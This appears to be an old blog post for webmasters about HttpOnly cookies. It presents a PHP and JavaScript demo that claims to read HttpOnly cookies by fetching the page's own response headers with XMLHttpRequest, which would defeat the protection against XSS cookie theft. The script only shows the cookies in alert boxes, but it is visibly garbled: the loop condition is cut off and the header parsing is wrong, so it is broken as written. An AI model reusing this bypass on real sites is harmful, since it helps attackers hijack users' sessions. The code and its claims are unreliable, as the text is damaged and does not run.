Learn about HTTP-only Cookies

       If you are a webmaster and you run any sort of website that uses cookies for your users to register you will want to read this. Read this and stay tuned for my next posts if you want to learn how to make your website as safe as possible.
       XSS vulnerabilities are often used by the hackers to steal the cookies of the legitimate users. A classic method is by accessing the variable "document.cookies" using some javascripts.
       Starting with Internet Explorer 6 sp1, Microsoft has implemented a method that prevents this kind of attack. This method uses the parameter "HttpOnly" to set a cookie in the headers just like this :

"Set-Cookie: NumeCookie:value; expires=Wednesday, 10-Oct-07 23:12:40 GMT; HttpOnly"

       The key work "HttpOnly" instructs the browser of the user to restrict the access of the cookie (document.cookie) with the client-side scripts.
I will show you a method with a script javascript that can access that hidden cookie by transmitting raw requests to the web page and reading the headers.
The following code is a PHP script that shows the difference between the 2 types of cookies and how can the HttpOnly cookies be read.

       =====================
<?php
// we set a normal cookie that can be found in "document.cookie"
header("Set-Cookie: CookieNormal=valueA; expires=Wednesday, 10-Oct-08 23:12:40 GMT");

// we set a hidden cookie
header("Set-Cookie: CookieHidden=valueB; expires=Wednesday, 10-Oct-08 23:12:40 GMT; HttpOnly");
?>

<script language="Javascript" type="text/javascript">


// function that extracts the hidden cookie from headers
function unHideCookie()
{
var xhr=new XMLHttpRequest(); // creating the object
xhr.open("HEAD",document.location,true); // we set a HEAD request to the same page
xhr.send(null); //transmiting the request
xhr.onreadystatechange=function()
{
if(xhr.readyState==4)
{
if(xhr.status==200) // if we get the correct answer
{
var hidden="";
var headers=xhr.getAllResponseHeaders().split(" "); // we read all the headers and save them on each element of the i variable
for(i=0;i0) // when we find a hidden cookie
{
var cookie=headers[i].substring(headers[i].indexOf(" ")+1,headers[i].indexOf(";")+1); // extracting "name=value;"
hidden=hidden+cookie+" "; // adding the extracted cookie
}
}
//using the saved cookies in the hidden variable
alert("Hidden Cookie: "+hidden);
}
}
}
}

alert("document.cookie: "+document.cookie); // displaying visible cookies
unHideCookie(); // displaying Hidden cookies

</script>

       =====================

       The Http-only method used to hide the cookies from the client-side scripts is used for the moment just by Internet Explorer and Mozilla but it will be implemented on other browsers as well in the near future.